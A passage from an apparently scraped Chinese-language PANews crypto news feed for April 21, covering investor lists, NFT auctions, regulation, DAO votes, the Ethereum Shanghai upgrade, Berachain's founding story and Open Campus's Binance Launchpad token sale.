    PANews 4月21日消息，破产索赔交易所OPNX公开其主要投资者，包括 AppWorks、Susquehanna (SIG)、DRW VC、MIAX Group、Merchant Bank International（招行国际）的香港分行、Token Bay Capital、Nascent、Tuwaiq Limited等。  ( 1 min )
    漫威创始人宣布推出数字艺术藏品“Ekos Genesis Art Collection”
    PANews 4月21日消息，据CoinDesk报道，漫威（Marvel Studios）创始人David Maisel创立的知识产权 (IP) 娱乐公司Mythos Studios宣布推出新的数字艺术藏品“Ekos Genesis Art Collection”，现已在ekos.io的虚拟画廊中展出。该藏品系列收录了著名漫画艺术家(Michael Turner)的原创作品。 北京时间5月3日凌晨1点，《钢铁侠》上映15周年之际，Ekos Genesis Art Collection（995 枚 1/1 原创手工NFT）将开启荷兰拍卖（减价拍卖），荷兰式拍卖将持续 88 分钟，出价将从 10 ETH开始，然后每四分钟下降 0.5 ETH，直到价格达到 0.5 ETH。最后，如果藏品尚未售罄，拍卖的最后八分钟将降至 0.2 ETH。预拍卖将于北京时间4月25日凌晨1点开始。Ekos Genesis Art的所有作品都将在以太坊区块链上铸造。  ( 2 min )
    乌克兰计划实施MiCA的一些条款使加密资产在乌克兰合法化
    PANews 4月21日消息，据Cointelegraph报道，在欧洲议会通过加密资产市场 (MiCA) 法规之后，乌克兰监管机构公开表示他们也将在本国采用该立法方案。乌克兰税务委员会副主席 Yaroslav Zheleznyak在他的电报频道中表示，“我们与 NKCPFR [国家证券和股票市场委员会] 以及其他监管机构的同事一起，已经在努力实施MiCA 的一些条款使加密资产在乌克兰合法化。”  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.21）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA日报｜币安将上线Launchpad项目Open Campus(EDU)；Aptos推出委托质押功能
    今日要闻提示： 美国参众两院开始围绕数字资产共同制定新监管框架 公链项目Aptos推出委托质押功能 1inch社区已通过“修改DAO治理流程以削弱内部人士投票权”的提案 Uniswap即将部署问责委员会，负责监督V3在其他链上部署的运营开发 日立旗下Hitachi Ventures设立初始规模3亿美元新基金，拟投资Web3和生成式AI领域 币安将上线第31个Launchpad项目Open Campus（EDU） MakerDAO批准向Coinbase托管服务转入5亿美元USDC，年收益率为2.6% Terawulf已为其核动力比特币挖矿设施Nautilus提供50兆瓦的电力 监管消息 美国参众两院开始围绕数字资产共同制定新监管框架 据The Block报道，美国众议院和参议院已开始共同制定一项法案，以围绕数字资产制定新的市场结构规则。该项法案与另一项旨在推进稳定币两党框架的监管举措同步进行。 共和党主导的加密市场监管细节仍在谈判中。目标是在今年春季或夏初引入，它和一项稳定币法案将在国会两院达成两党共识，并得到总统乔·拜登的最终批准，以为数字资产提供更多具体规则。 此前4月16日消息，美国众议院委员会发布稳定币法案草案。 NFT Ordinals Wallet应Yuga Labs要求将下架Bit Apes和Bitcoin Apes系列 据官方推特，比特币网络NFT市场Ordinals Wallet宣布，该平台将遵守Yuga Labs对其的要求，从市场中下架Bit Apes和Bitcoin Apes系列。 Ordinals Wallet解释称，该平台试图通过删除所有商标引用来减轻影响。并为该项工作花费数小时时间，但经过进一步交涉，平台仍然必须尊重Yuga Labs的知识产权。 项目动态 公链项目Aptos推出委托质押功能 据官方推特，公链项目Aptos宣布推出委托质押功能，用户现在可以将他们的抵押权委托给受信任的网络验证器，并作为个人获得奖励。多个钱包可以将APT质押在一个受信任的验证节点上。用户可以委托他们的抵押权并以低至11 APT的价格参与质押。 Serum官推已更名并删除之前所有推文 据链上数据分析师ZachXBT的推文，Solana生态DeFi项目Serum原20.7万粉丝的官方推特账号已被改名为Luka，并删除了之前所有的推文，并将其头像更换为Milady NFT以及推广“shitcoins”。经查看，该账号目前最早的推文系4月20日发布，之后的内容均与Serum无关。 此前4月12日消息，韩国数字资产交易所协会DAXA的成员宣布将下架Serum (SRM)，因Serum项目没有正常运行，其协议无法使用。 隐私网络Iron Fish主网已上线 据官方推特，隐私网络Iron Fish主网已于今日凌晨00:00左右上线。Iron Fish区块链实现了零知识证明，允许用户在不影响可访问性的情况下进行私密交易。 上月底，IronFish公布其代币经济学：创世块将释放4200万枚代币。此外，符合条件的Iron Fish测试网用户将于4月21日获得空投。 1inch社区已通过“修改DAO治理流程以削弱内部人士投票权”的提案 Snapshot投票页面显示，1inch社区已于本月中旬以96.23%的投票支持率通过“修改DAO治理流程”的1IP-26提案，该提案旨在减少核心贡献者、投资者和其他内部人士积累的投票权。 该提案主要内容为：从1inch Snapshot空间中删除st1INCH(v1) 投票和委托策略；更改st1INCH(v2) 投票和委托策略以使用Unicorn Power而不是代币余额；将现有的20%加权v1INCH策略替换为模拟UnicornPower权力衰减的策略，即完全归属且未认领的v1INCH将大大削弱投票权，在其归属合约开始时的v1INCH与在2年锁定期开始时的st1INCH具有完全1:1的投票平等权利；将Snapshot提案创建要求提高到需要10万投票权重（之前为2.5万）。 Uniswap即将部署问责委员会，负责监督V3在其他链上部署的运营开发 Tally投票页面显示，关于Uniswap部署问责委员会的提案已于昨日以99.98%的支持率获投票通过，并已进入待执行列表。 根据该提案，部署问责委员会将负责监督Uniswap V3在其他链上部署的运营开发，委员会的最初职责是与寻求部署Uniswap的项目联络；确保正确配置部署项目；并就是否批准某些部署向社区提供建议。初始委员会将有5名成员，分别为StableLab首席运营官Doo Wan Nam、Pennblockchain治理负责人Jun Sun、She256治理成员Kendra Leong、Tally联合创始人Raf Solari、Stanford Blockchain Club负责人Kydo，委员每6个月换届一次，连续任职不得超过2轮。 Gemini任命亚太地区新CEO，并将在印度开设首家办事处 据The Block报道，加密交易所Gemini任命全球首席技术官Pravjit Tiwana担任亚太地区的新首席执行官，并将在印度开设第一家办事处，作为其在该地区“大计划”的一部分。Tiwana将领导Gemini在该地区的新产品发布，并确保财务稳定。 此前据The Information于3月底的报道，Gemini正寻求推出国际加密衍生品交易所，据称新的衍生品平台将从亚太地区推出。 ApeCoin社区正对促进社区治理的两项提案进行投票，目前支持率均超97% ApeCoin社区正对促进社区治理的两项提案进行投票，即“制定工作组指南和治理工作组章程”的AIP-239提案和“创建社区话语促进团队”的AIP-240提案，目前支持率均在97%以上，投票均将于4月27日截止。 AIP-239提案旨在自治工作组来运营ApeCoin DAO，工作组是有意识的社区主导的基础设施，允许执行DAO批准的任务。工作组章程概述了工作组的任务，该任务必须与ApeCoin DAO的愿景和价值观保持一致。预计工作组将建立自己的独立实体，彼此分开，并与APE基金会分开。根据AIP-240提案，社区话语促进团队将负责监督提案流程、主持讨论、执行规则，并根据DAO批准的指南促进积极的社区参与。 此外，ApeCoin社区也正对关于“赞助THE DAM SHOW和现场游戏节目”的AIP-214提案和“为社区创建NFT奇幻小说”的AIP-236提案进行投票，目前的反对率均超99%，这两项提案投票亦均将于4月27日截止。 日立旗下Hitachi Ventures设立初始规模3亿美元新基金，拟投资Web3和生成式AI领域 据Hpcwire报道，日立（Hitachi.Ltd）宣布旗下全球风险投资机构 Hitachi Ventures (HV) 设立第三支基金，以加速数字领域创新，该基金的初始规模为 3 亿美元，是之前设立的第一和第二基金规模的两倍，拟重点对Web3和生成式AI领域里的初创公司进行战略投资。 Hitachi Ventures于2019年6月推出了第一只基金，并于2021年10月推出了第二只基金，本次新推出的第三支基金还将关注拥有人工智能、区块链、云计算、5G等尖端技术和服务模式的初创公司。 加拿大养老基金OTPP已在减计对FTX的投资后停止涉足加密领域 据金融时报报道，加拿大安大略省教师退休基金（OTPP）表示，在去年全数减计对FTX的9500万美元投资后，已停止涉足加密货币领域，目前正在关注房地产领域的新机会，还希望扩大其对私人信贷的敞口。 此前去年11月消息，该基金宣布将在年底对FTX的9500万美元投资减记为零。据悉，OTPP在2021年10月向FTX及FTX US共投资了7500万美元，并于2022年1月对FTX US追加了2000万美元的后续投资。该投资占该退休基金总净资产的不到0.05%。 推特开始取消不付费账号蓝标认证，多位加密KOL和创始人账号受影响 据Cryptoslate报道，自推特身份验证模型发生变化后，多个加密KOL和创始人的“蓝标”认证被删除，包括Ripple首席执行官Brad Garlinghouse、Tezos联合创始人Kathleen Breitman、Shapeshift创始人Erik Vorhees、FTX创始人兼前首席执行官Sam-Bankman Fried、加密支付公司Block和前推特CEO Jack Dorsey等。不过，Coinbase首席执行官Brian Armstrong、Binance首席执行官赵长鹏、Kraken首席执行官Jesse Powell和以太坊创始人Vitalik Buterin未受影响。 据悉，推特于4月20日开始结束之前的认证系统，改采用付费订阅制度，希望保留蓝证认证的用户必须每月8美元的费用订阅Twitter Blue服务。 预警：谷歌搜索“imToken”置顶广告为新型钓鱼网站 慢雾研究员@IM_23pds发推文称，当前谷歌搜索“imToken”后的置顶广告为新型钓鱼网站，请用户切勿点击链接，注意规避风险。 FTX Digital已通过普华永道受理索赔登记，其清算程序已延长至8月9日 据普华永道官网信息，巴哈马实体FTX Digital目前的清算程序已延长至2023年8月9日，临时清盘人（普华永道）还向美国特拉华州破产法院提交了第15章申请，美国法院于2月15日下达了一项承认临时清算为外国主要程序的命令，FTX Digital不受美国第11章破产程序的约束。自最高法院任命以来，临时清盘人一直在审查FTX Digital的财务状况，调查FTX全球崩溃的原因及其对FTX Digital的影响，寻求识别和保护资产，并调查公司的所有可用路径，以期实现所有利益相关者的最大可能价值，这项工作正在进行中。 临时清盘人邀请FTX Digital的客户和可能对FTX Digital提出索赔的第三方索赔持有人向其登记联系方式。某些客户可能不知道他们是FTX Digital或FTX集团其他实体的客户或债权人。如果客户认为其可能对FTX Digital提出索赔，请通过索赔门户网站提交详细信息，以便临时清盘人在适当的时候考虑。索赔进程会通过以下几个阶段：索赔登记、在索赔门户中创建登录、身份验证、接受余额、资产转让。目前索赔进程正处于此过程的第1阶段，普华永道邀请客户和债权人向其登记他们的联系方式。 此外，在近日疑似给客户的邮件中，FTX Digital称该实体的临时清算程序独立于正在进行的美国第十一章程序，但与之并行。已向美国第十一章程序所涵盖的实体提交索赔的FTX客户不会被阻止通过FTX Digital索赔门户注册他们的详细信息，反之亦然。 币安将上线第31个Launchpad项目Open Campus（EDU） 据官方公告，币安将上线第31个Launchpad项目Open Campus（EDU），并开启BNB专场，此次售卖将基于投入模式，币安将根据用户5日的BNB日平均持仓确定用户可投入额度。 BNB持仓快照周期：2023年04月23日上午08:00至2023年04月28日上午08:00（东八区时间）。 Prysm发布含多项重要修复的v4.0.3版本，建议所有用户升级 据官方推特，以太坊客户端Prysm已发布v4.0.3版本，此版本包含多项重要修复，建议所有用户升级。值得注意的是，此版本包含对外部块生成器代码路径和密钥管理器中漏洞的修复。 BNB Chain计划于5月中旬上线OpBNB测试网，6月1日上线ZkBNB主网 BNB Chain 发布第一季度技术更新，包括 Greenfield 测试网已上线，降低交易费用、BSC 验证者自我权益更新、MEV 研究、Planck 硬分叉升级。同时，该文还指出，计划于 5 月中旬上线 OpBNB 测试网，6 月 1 日上线 ZkBNB 主网，并完成 BEP-206 提案。 2023以太坊Devconnect大会将于11月在伊斯坦布尔举行 以太坊基金会计划于今年11月13日至19日在土耳其伊斯坦布尔举行 Devconnect 大会，为期一周。Devconnect 在结构上与 Devcon 完全不同，由许多单独的活动组成，由社区组织，每个活动深入探讨一个主题。 Flashbots推出MEV-Share测试版，以与以太坊用户分配抢跑收益 据The Block报道，以太坊基础设施服务 Flashbots 推出 MEV-Share 协议的测试版，旨在将最大可提取价值（MEV）收益的一部分分配给以太坊用户。MEV-Share 协议包含在 Flashbots Protect 中，Flashbots Protect 是一种可以与用户钱包集成的远程过程调用 (RPC) 工具，旨在抵御试图通过抢先用户交易获取利润的机器人。Flashbots 计划在未来将 MEV-Share 代码作为开源代码发布。 MakerDAO批准向Coinbase托管服务转入5亿美元USDC，年收益率为2.6% 周四结束的一项投票显示，MakerDAO批准为Coinbase托管服务开放一个现实资产(RWA)金库，并转入高达5亿美元的USDC稳定币。该提案获得了84%的支持。Maker治理论坛上的一篇相关文章称，Coinbase托管部门将为存款支付2.6%的年利息。该提案禁止Coinbase对账户中的资产进行再抵押，包括借出、再投资或以其他方式使用。Coinbase必须将代币保存在冷钱包中，Maker将能够在24小时内从金库中提取资金，冷钱包中的资金将获得高达5亿美元的保额。据此前消息，MakerDAO批准了“MIP 81”提案，MakerDAO将向Coinbase托管服务转入高达16亿美元的USDC，以获得1.5%的年收益率。 矿业消息 Terawulf已为其核动力比特币挖矿设施Nautilus提供50兆瓦的电力 比特币矿业公司Terawulf宣布全面部署其在核动力Nautilus Cryptomine设施中50兆瓦(MW)的份额。据该公司称，该比特币挖矿设施由100%核电供电，每千瓦时(kWh)的固定电力成本为0.02美元。Terawulf可以选择再增加50兆瓦，并计划在“未来阶段”实施。此外，Terawulf计划在2023年第二季度达到5.5 EH/s的运营挖矿能力。 重要数据 数据：某巨鲸地址今日将34043枚ETH转入币安 据Web3知识图谱协议0xScope监测，某巨鲸地址今日14:18将34,043枚ETH转入币安，这些ETH大部分是在3月11日购买的，当时ETH约为1420美元。该地址似乎正在获利。  ( 3 min )
    Polygon研究负责人Prabal Banerjee辞职加入Avail并担任联合创始人
    PANews 4月21日消息，据The Block报道，Polygon 研究负责人 Prabal Banerjee 辞职加入模块化区块链项目 Avail，并担任 Avail 联合创始人。Banerjee表示，Avail 目前在测试网上运行，其主网预计将在今年第四季度左右启动。Avail 打算在未来创建一个名为 Avail Foundation 的非营利机构，并最终将治理权移交给社区。这表明 Avail 可以推出自己的代币，但 Banerjee 拒绝置评。 上月，Polygon将其模块化区块链项目Avail分拆成独立实体， 相关阅读：了解Avail：正式加入 Polygon 扩容全家桶，L2+模块化+数据可用性  ( 2 min )
    一文速览Arbitrum链上配对交易平台Pear Protocol
    原文：《零流动性冷启动？速览链上配对交易平台 Pear Protocol 》 作者：Babywhale，Foresight News 一周前，链上配对交易平台 Pear Protocol 宣布完成 125 万美元融资，参投方包括 Flow Ventures、RNR Capital、Portico Ventures 和 JY Capital 等。由于目前该项目的产品并未上线，笔者无法进行实地测试，只能从产品现有的文档中挖掘一些信息。 Pear Protocol 是一个 Arbitrum 上的配对交易平台，旨在实现衍生品交易的可组合性。据项目 Medium 文章中的信息，该项目创始人为 Reimagined Finance 和 ReFi Pro 的前创始人。Reimagined Finance 是一个链上主动资管项目，用户可以存入稳定币资产并通过该项目设定的投资方案获得收益。目前该项目推特已注销且项目已关闭。 配对交易（Pairs Trading）是指八十年代中期华尔街投行摩根士丹利的交易员 Nunzio Tartaglia 成立的一个分析团队提出的一种市场中性投资策略，其成员主要是物理学家、数学家、以及计算机学家。该策略监控两个历史相关证券的表现。 当两种证券之间的相关性暂时减弱时，即一只股票向上移动而另一只股票向下移动，对货币交易将做空缩短表现优异的股票并做多表现不佳的股票，并认为两者之间的「差价」最终趋同。 据 Pear Protocol 介绍，其本身不会去搭建独立的流动性池，而是会使用 Arbitrum 上已有的衍生品平台的流动性，而 Pear Protocol 只是充当为用户提供组合性的产品。用户可以选择存入保证金，并且在做多比特币的同时做空以太坊，而 Pear 则会在其他衍生品协议中同步进行多空的开仓。 此外，用户的头寸将以 ERC-721 格式的 NFT 呈现，意味着未来可以实现头寸的交易、抵押借贷以及基于头寸的其他衍生品等可能性。 在加密货币的世界里，绝大多数的资产在相当长的时间里都会跟随比特币的走势，而比特币在某些时间中也会跟随美股或者黄金等规模较大的传统金融市场的走势。但在某些时候，尤其是当比特币面临上涨或者下跌的末期时，会出现部分代币出现独立于比特币涨跌的走势；又或者当某些项目出现重大利好或者利空时，也会出现短暂脱离与比特币相关性的走势。 但类似的情况不会持续太久，出现独立行情的代币又会再度回归与比特币价格高相关性的走势中去。简单举例来说，当比特币正在小幅上涨时，某些代币因为利好消息而出现大幅上涨，之后比特币出现了横盘的走势，而此时此前大幅上涨的代币可能会出现回调再进行横盘。此时交易者可以选择做多比特币的同时做空该代币，如果行情最终回归高相关性则可以获取更高的利润，而如果一方出现走势的偏离则也可以进行对冲从而减少损失。 作为交易者，我们经常能发现在比特币上涨或下跌的尾端，部分代币会出现独立行情，而此时配对交易提供了可以扩大利润以及通过对冲减少亏损的机会。目前的 DeFi 市场例如交易、借贷、衍生品等基础设施已经日趋完善，未来相信会有更多在传统金融市场已经成熟的工具以另一种方式出现在链上。或许这些相对复杂的机制对普通用户并不算友好，但却为更多专业交易员以及传统市场资金进入加密货币领域提供了便利。 此外，笔者认为 DeFi 的发展方向应该朝向尽可能降低杠杆以及提供对冲工具的方向发展，而非在现有的杠杆之上叠加杠杆来制造财富效应。笔者此前介绍过的同为 Arbitrum 上的 Y2K Finance 以及今天所述的 Pear Protocol，虽然可能无法吸引甚至承载体量较大的资金，但却是 DeFi 实现可持续发展的重要拼图。 目前该项目正在进行代币公售，总计将释放 1 亿枚代币，公售价格为 0.025 美元，公售结束时间为北京时间 4 月 24 日 20:00。用户在公售中购买的代币将在锁定一年后一次性解锁 50%，剩余 50% 将在一年时间内线性解锁。需要提醒大家的是，该项目未正式上线，公售部分解锁周期较长，跨协议操作在聚合功能的同时也在聚合风险，请读者谨慎参与。  ( 2 min )
    视频｜迷因币PEPE再创造暴富传说，SEC主席Gensler惨遭议员炮轰！
    00:00 内容预告 00:38 特朗普推出新个人NFT 01:15 ChatGPT预测金融市场 01:50 苹果公司推出年利率4.15%的储蓄帐户 02:26 Chrome浏览器发现安全漏洞 02:58 麻吉大哥推出NFT领域 03:33 交通银行进军加密领域 04:07 Sui代币销售 04:50 MetaMask安全漏洞 05:28 PEPE一夜暴富 06:26 SEC主席遭砲轰 07:19 好文推荐  ( 1 min )
    Berachain联创亲述发展史：从NFT到新兴Layer1，源于一个玩笑
    撰文：Smokey the Bera，Berachain 联创 编译：Leo，BlockBeats 昨日，Layer 1 公链 Berachain 宣布完成了 4200 万美元融资，其联创 Smokey the Bera 撰写关于「Berachain 发展至今」的文章，BlockBeats 编译如下： 大约一年半以前，我和 Papa 开玩笑说要制作吸烟熊 NFT。今天，Berachain 宣布已经从加密世界中一些最优秀的加密投资者和天使投资人那里筹集了 4200 万美元，用以构建第一个真正将流动性和安全性结合起来的协议。 这是一段很匆忙的旅程，也仅仅是 Berachain 的起点，首先，来听听来自 Smokey the Bera 的感伤历史课。 我和 Papa（其 NFT 团队）从 2015 年开始投资 crypto，我们在 2017、2018 年开始炒币，玩转了所有的 shitcoins，然后就到了 DeFi 之夏。我们经历了一些链和生态的兴衰，并在 2021 年和 2022 年花了很多时间在 alt-Layer 轮换上。一个常见的循环出现了——链启动> 生态基金> DEX & 借贷市场> TVL pump >排放枯竭>chain ded。 无论这些链有多么去中心化、可扩展或安全——无论最终确定的时间有多长，无论互操作性如何，如果没有流动性，这条链很快就会成为「鬼城」。与此同时，我们在链上多个生态达到了 7 位数的 TVL，100 多倍的验证器，毫无疑问网络是安全的——但代价是什么？ 流动性确实是 DeFi 的命脉，但除此之外，协议活动也很重要，当我们意识到这一点时，Beras 正在加速发展。我们无意间启动了一个由成千上万聪明但头脑冷静的 DeFi 爱好者组成的社区，他们敢于冒险购买吸烟熊的 NFT，天知道是为什么。 当我们验证我们的论点并探索散户和开发者在链上生态系统中的价值时，他们就成了最佳的访谈群体。有了社区的反馈，以及与 Papa、Dev 和 Homme 长时间的接触，Proof of Liquity 就这样出现了。 一个杰出的系统，允许多个许可资本来源对网络安全作出贡献，同时也作为流动性来源，注入一组 DeFi 乐高：一个现货 AMM、一个永续期货交易平台和一个稳定币借贷平台。 随着这些核心的「应用链」式原语的费用为协议层带来价值，我们看到了一个飞轮的开始，激励协议和验证器通过真实激励措施参与网络治理和流动性提供。 Dapps 可以利用这种流动性路由环境来引导他们自己的生态系统和合约，Berachain 成为第一家为其建设者提供流动性的链，并颠覆了目前占主导地位的捐款和虚假生态基金的现状。Berachain 的特性都有： Berachain 对 DeFi 以及整个区块链领域解决了一些最重要的问题。我们有机会从每个 EVM 和 Cosmos 链中提取资产，以构建现有的最深和最具资本效率的资金池，为用户提供 CEX 般的资本深度和速度，以及 CEX 的透明度和可定制性链上生态。 真希望我能将文中提到的想法和愿景中的一半归功于我。但我只是做 henlos 和 ooga boogas。Berachain 的愿景源自整个数月以来团队的迭代、不眠之夜、空荡荡的红牛罐和白板上的涂鸦。当然，这一切也归功于 Bera 这些踏实肯干的兄弟们。 最重要的是，整个团队之所以走到一起，是因为社区，成千上万的疯狂 mfs 在 Discord 上创建 pastas，甚至在没有测试网的情况下构建 Dapps，最初的 VC 团队，与 Dev 一起玩 Warzone 的人，知道 Papa 存在的人！ 唯一疯狂到将数十个项目串成一个游戏的兄弟，在银行挤兑期间，交易 VC 向我询问这件事，同时铸造了 16,420 个 NFT。我很珍惜你们这些稀奇古怪的角色、Bera alts 军团，以及形成的 Bera 信仰。 最后，感谢我们的投资者信任一个由吸烟熊 jpegs 运行的链，我们有很多不错的想法，在你们的帮助下，这些想法越来越有可能成为现实。 想想我们从哪里开始，以及我们现在所处的位置，感觉一切都有些不真实。我只想对团队、我们的投资者、我们的社区以及一路激励我们的人们说声谢谢！未来会越来越有趣的！  ( 3 min )
    上海升级一周有余，ETH“抛售潮”为何没来？
    原文：《“上海升级”后 以太坊抛压为何没来？》 作者：凯尔 关联加密资产市场的Web3重新进入市场上升期，而被普遍视作Web3主流基建的以太坊区块链也在近日经历了一场重要升级。 此次升级被命名为“上海升级”，源于社区期望以太坊能够如上海一般多元化地发展和繁荣。上海升级带来的最大改变是，验证者可以提取质押在以太坊网络的原生加密资产ETH。 这是以太坊转为权益证明机制（PoS）的收尾环节。大约在两年半之前，以太坊启动了PoS机制的信标链，允许用户质押至少32 ETH成为维护网络运行的验证者，但不支持提取ETH。在这期间，共有超过56万个验证者和1800万ETH“锁仓”在链上。直至上海升级完成，“闸口”才终于放开，于是，部分市场分析师认为，ETH会遭遇抛售。 如今，上海升级完成一周有余，市场预想的“抛售潮”并没有到来，ETH的价格甚至还涨了。除了提款到账周期长的原因外，更多用户选择“按兵不动”，继续质押。在经历了短暂的净流出后，ETH质押量又开始回到净流入状态。 北京时间4月13日6点30分左右，备受瞩目的以太坊Shapella升级(下称“上海升级”)完成，距今已过去一周时间，这意味着，验证者可以提取质押在以太坊信标链中ETH的时间也发生了7天了。 上海升级对以太坊网络的性能提升很有限，主要影响就是锁仓的1800多万个ETH要释放了。升级前，许多人担心，这部分ETH将会对市场带来庞大的抛压，有可能会引发ETH市场价格暴跌。 然而，暴跌没有出现，ETH甚至在升级完成后实现了连续三天的上涨。截至4月20日下午4点，ETH报价1950美元，相比升级时的1915美元还涨了1.83%。 搞清楚上海升级的意义，还需要从大约2年半前说起。 2020年时，以太坊还是靠“矿工”运行矿机来给网络上的交易“记账”，获得ETH奖励，俗称“挖矿”。这和比特币“挖矿”类似，由网络创建时采用“工作量证明”（PoW）机制而决定。这种方式最大的弊端在于“费电”，能源消耗非常大；并且矿工挖矿时没有任何将资产锁定为抵押品的要求，这限制了协议在被攻击后惩罚不良行为者的能力。 因此，以太坊基金会希望将共识机制改为“权益证明”（PoS），用户只要质押32 ETH便可拥有成为验证节点的资格，可以通过给网络打包交易来获取区块奖励ETH。这种机制的好处是，网络运行不再需要耗能巨大的矿机了，而且参与的人数也将更多，有利于提升网络的去中心化程度和安全性。 但共识机制的转变是一个脱胎换骨的大工程，为了保证网络正常运转，且顺利过渡到权益证明阶段，以太坊基金会制定了“三步走”的过程。第一步，就是上线名为“信标链”的权益证明机制的新网络，起初，这条链和PoW机制的以太坊是相互独立的，它主要是为了验证在以太坊主网用质押当节点的方式是可行、可靠且可持续的。 信标链要正常运行，就需要验证节点来维护网络。因此2020年11月初，以太坊基金会给信标链开通了“存款”功能，用户可以质押至少32 ETH，成为验证节点，来帮助网络运转，“干活”的同时，质押者可以获得年化5%左右的验证奖励。不过，当时存入ETH是不能取出的，只有等到上海升级才会开放提款功能。 “三步走”的第二步，就是合并。验证了信标链的可行性后，以太坊在2022年9月15日完成了合并升级，原PoW机制的主网和信标链合二为一，后者正式成为了以太坊主网的“共识层”，标志着以太坊完成了向权益证明（PoS）机制的转变。 上海升级则是最后一步。欧科云链数据显示，在上海升级的前一天，已经有超过56万个验证者和1800万个ETH质押在网络中，相当于ETH总供应量的16%，约合370亿美元。这时候，网络已经很稳定了，直到上海升级完成，存款可以随时提取。 长达两年多的共识机制转变这才算圆满收尾，对ETH市场来说，更好的消息是这个加密资产的价格并没有因为网络质押的“解锁”而下跌。 一周过去了，预想中的抛压为何没来？ 一个直接原因是，提款并不能马上到账。由于质押者众多，网络性能有限，用户要取出质押的ETH需要排队。有研究机构预估，根据以太坊目前的活跃验证节点数量，每天能够提取的ETH量大概在 5.76万枚左右。按这个速度，所有质押者要取出ETH大概需要300多天时间。 从提款的实际情况来看，在上海升级后的两个小时内，共有约17350 ETH被提出，同时有128 ETH存了进去，但这种大额净流出的势头并没有延续太久。 据Token Unlock实时数据，从上海升级完成到4月20日下午4点的一周时间里，一共有133万ETH申请提出，而在这期间还有65.56万 ETH存入，净流出数量约为67.44万枚。 从近期的数据来看，单日净流入的ETH数量已经开始显著高于提款数。4月19日，协议约有2.08万ETH被提出，但同时有10.53万 ETH被质押进去。当前，ETH质押总量约为1736万个，大概有72.1万个ETH在排队提取中。 当前，ETH的总供应量约为1.19亿，而近一周内从ETH质押协议中流出的数量仅占据了总供应量的0.56%。根据4月20日的数据，ETH 24小时交易量达到412万，远高于单日流出的数量。这意味着，近期的抛压对市场的影响并不大。 事实上，业界对于以太坊启用“撤资”会如何影响市场有不同的看法。有人认为，ETH流通量会因此增加，导致价格下跌；还有一部分人认为，自由存取后，会让更多人有信心前去质押，未来，质押量可能还会呈现上涨趋势。 加密市场分析师则从投资回报的角度看待这件事，他们多数认为，许多用户在价格高位质押了ETH，目前还处于“套牢”状态，因此缺乏取款套现的动力。根据行情走势，尽管2020年11月信标链启动存款时，ETH的价格只有约390美元，但在2021年间，ETH大幅上涨，最高涨至4871美元，这导致后来的质押者的成本不断提升。 富达投资数字资产管理部门的研究人员称，在最近加密资产市场的反弹周期内，大约一半的新资金投入之前，大多数质押者的ETH头寸都处于亏损状态。 除此之外，在以太坊上海升级前，市场中已经有了很多流动性解决方案。比如，去中心化质押协议Lido为质押者提供了1比1的“stETH”质押凭证，虽然ETH不能取出来，但用户可以随时卖出这个凭证来获得流动性。此外，拥有大量加密资产用户的Binance、OKX等加密资产交易平台也提供了类似的质押方案，让很多想从以太坊升级过程中获利的用户不必等到开放取款，也能自由进出质押市场。 富达分析师指出，约有1/3处于质押中的ETH早就可以通过stETH等代币凭证流动起来，这意味着潜在抛压并没有想象得那么大。 长远来看，以太坊上海升级完成，标志着其权益证明共识机制进入成熟期，自此迈入了新的发展纪元。“抛售潮”没有如预期来临，反映出一定的价值认同。接下来，以太坊的更大挑战在于提升网络性能，让更多的应用程序能在网络上绽放，这也是Web3能被更大范围的人群看见并采用的重要基础。 2023年，你最期待的Web3应用场景是什么？  ( 2 min )
    速览币安Launchpad项目Open Campus：Animoca Brands旗下公司TinyTap的“链改”版
    4月21日，币安官方发布公告将上线第31个Launchpad项目Open Campus（EDU），并开启BNB专场，此次售卖将基于投入模式，币安将根据用户5日的BNB日平均持仓确定用户可投入额度。BNB持仓快照周期为2023年4月23日上午8时至2023年4月28日上午8时。 PANews发现，Open Campus官网注册时间为今年3月，且推特账号也创建仅两周时间。但这个“Web3新面孔”却与币安和知名Web3风投Animoca Brands有着密切联系。在备受社区质疑是个刚成立不久的全新项目后，Open Campus在推特上澄清称，自己并非是个新项目，成立于2012年的TinyTap一直是协议的重要贡献者，结合两个项目的介绍，变相证明Open Campus实际上是教育平台TinyTap的Web3链改版。 根据官方介绍，Open Campus是一个结合区块链技术的Web3教育协议平台，旨在为学习者、教育工作者、内容创作者等创造一个更公平、更具包容性的生态系统，为他们提供更多的资源获取途径、新的补偿机会以及对教育内容的真正所有权，为社区塑造一种由社区定义的新教育范式。 Open Campus的参与者包括社区、创作者和慈善家。其中，社区（学习者）可以利用区块链技术创建、拥有和推广他们想在世界范围内了解的教育内容，并且利用区块链技术为符合其需求的教育内容提供资金、共同拥有和收益；创作者可通过出版商NFT（Publisher NFT）提供促销权，根据协议推出他们的内容，联合出版商可以根据他们的贡献获得一定比例的收入，创作者和营销者将共同获得出版权；慈善家可以直接通过捐赠来支持此类教育事业，并且可以通过链上数据追踪他们的捐赠资产。 而TinyTap是一家总部位于以色列特拉维夫、用户生成内容（UGC）的科技初创公司，也是个为教育工作者提供一个无代码的平台，可为他们能够创造和分发具有互动特性的教育内容，同时获得基于内容使用的收入分成。TinyTap曾获得Aleph Venture Capital、Inimiti、Reinvent VC、Omega Group Enterprises、Radiant Ventures HK等机构的投资。作为App Stor、Google Play上是前十名总收入最高的儿童移动应用程式，TinyTap的社区涵盖超950万个家庭和25万名教育工作者，提供了来自世界各地的25万节互动课程，并与牛津大学、芝麻街等多个著名的出版商合作。 2022年6月，Animoca Brands宣布以价值3888万美元的现金加股票的方式收购了84.13%的股权。在被收购后，TinyTap在Animoca Brands的帮助下发布了其TinyCourses Genesis Collection中的 12 个Publisher NFT，共售出近243 ETH，当时价值接近35.2万美元。 Open Campus生态系统的原生实用代币为EDU，总量为10亿枚，每枚定价0.05美元，总估值是5000万美金。相比之前Animoca对TinyTap约5000万美元估值的收购价，Open Campus的估值尚属合理。 项目初始上市后流通量为1.45亿枚，占总供应量的14.5%。其中，1.3亿枚EDU分配至战略销售，核心团队、金库、流动资金储备各占1亿枚，2.5亿枚EDU用于生态基金，1.55亿EDU用于顾问，7500万枚EDU归为早期贡献者，5000万枚EDU用于币安Launchpad，剩余部分则用于营运开支。也就是说，初始流通中有9500万枚代币将归Open Campus所有，且按照上线后开始解锁来算每月将解锁2119万枚EDU。 制图：@BitcoinEmber 而在2022年，Open Campus在代币私募中共筹集了600万美元，占总供应量的 